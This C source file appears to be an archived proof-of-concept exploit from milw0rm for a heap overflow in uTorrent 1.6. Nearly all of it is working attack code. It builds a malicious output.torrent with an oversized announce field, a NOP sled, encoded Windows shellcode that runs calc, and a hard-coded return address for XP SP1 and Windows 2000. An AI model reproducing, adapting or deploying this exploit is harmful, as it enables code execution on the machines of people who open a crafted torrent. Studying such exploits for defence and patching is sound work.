153 lines
No EOL
4.3 KiB
C
153 lines
No EOL
4.3 KiB
C
/*
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* This is a PoC remote exploit for uTorrent 1.6
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*
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* Author:
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* defsec <defacedsecurity@hotmail.com>
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* http://www.defacedsecurity.com
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*
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*
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* Works on XP SP1 and w2k sp1-4
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#define NASIZE 4880
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unsigned char nice_announce[NASIZE];
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unsigned char xorops[]="\x33\xc0\x33\xdb";
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// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum
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// Restricted Character 0x00
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unsigned char shellcode[]=
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"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
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"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
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"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
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"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
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"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
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"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
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"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48"
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"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58"
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"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
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"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
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"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38"
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"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
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"\x4b\x38\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
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"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x53"
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"\x42\x4c\x46\x36\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x37"
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"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
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"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
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"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53"
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"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
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"\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49"
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"\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
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"\x4e\x46\x43\x46\x42\x30\x5a";
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//msvcrt.dll pop,pop,ret addr all xp sp1 exchange it with 0x7801D07B for win2k sp3/sp4
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unsigned char jmptosc[] = "\xeb\x04\
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\xa7\x2c\xc2\x77\
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\x33\xc0\xb0\x11\xc1\xe0\x08\x5b\x5b\x5b\x2b\xd8\xff\xe3";
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int main(int argc,char *argv[])
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{
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FILE * pFile;
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long lSize;
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char * buffer;
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size_t result;
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long i = 0;
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long j = 0;
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long lPtrIndex;
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long lHeadSize;
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long lTailSize;
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char * curptr;
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char * alptr;
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char * torrentTail;
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if (argc < 2)
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{
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printf("\n[uTorrent 1.6] Heap Overflow Exploit - by [DEFACEDSECURITY]");
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printf("\n\nUsage: ");
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printf("%s",argv[0]);
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printf(" <TorrentFile>\n");
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return 0;
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}
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pFile = fopen (argv[1],"rb");
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if (pFile==NULL)
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{
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fputs ("File error",stderr);
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return 0;
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}
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// obtain file size:
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fseek (pFile ,0,SEEK_END);
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lSize = ftell (pFile);
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rewind (pFile);
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// allocate memory to contain the whole file:
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buffer = (char*) malloc (sizeof(char)*lSize);
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if (buffer == NULL)
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{
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fputs ("Memory error",stderr);
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return 0;
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}
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// copy the file into the buffer:
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result = fread (buffer,1,lSize,pFile);
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if (result != lSize)
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{
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fputs ("Reading error",stderr);
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return 0;
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}
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fclose (pFile);
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/* find announce / announce-list and erase it */
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alptr = (char *) strstr(buffer,"announce");
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if (alptr == NULL)
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{
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printf("\ninvalid torrent file");
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return 0;
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}
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curptr = (char *) strstr(alptr, "7:comment");
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lHeadSize = curptr - buffer ;
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lTailSize = lSize - lHeadSize;
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torrentTail = (char *) malloc (sizeof(char)*lTailSize);
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memcpy(torrentTail,curptr,lTailSize);
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/* generate offending header */
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strcpy(nice_announce,"d8:announce4864:");
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for (lPtrIndex = 16; lPtrIndex <= 4864+16; lPtrIndex++)
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nice_announce[lPtrIndex] = 0x90;
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lPtrIndex = 84;
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memcpy(nice_announce + lPtrIndex ,xorops,sizeof(xorops)-1);
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lPtrIndex += sizeof(xorops) -1;
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memcpy(nice_announce+lPtrIndex,shellcode, sizeof(shellcode)-1);
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for (lPtrIndex = 4438; lPtrIndex<4458; lPtrIndex++,i++)
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nice_announce[lPtrIndex] = jmptosc[i];
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/* get head and tail together into a file */
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curptr = (char *) malloc(sizeof(char)*(NASIZE+lTailSize));
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for (i=0;i<NASIZE;i++)
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curptr[i] = nice_announce[i];
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for (;i<(NASIZE+lTailSize);i++,j++)
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curptr[i] = torrentTail[j];
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/* write to file and exit */
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pFile = fopen ( "output.torrent" , "wb" );
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if (pFile==NULL)
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{
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fputs ("File error",stderr);
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return 0;
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}
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fwrite(curptr, sizeof(char), (NASIZE+lTailSize), pFile);
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fclose (pFile);
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return 1337; //:)
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}
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// milw0rm.com [2007-02-12]
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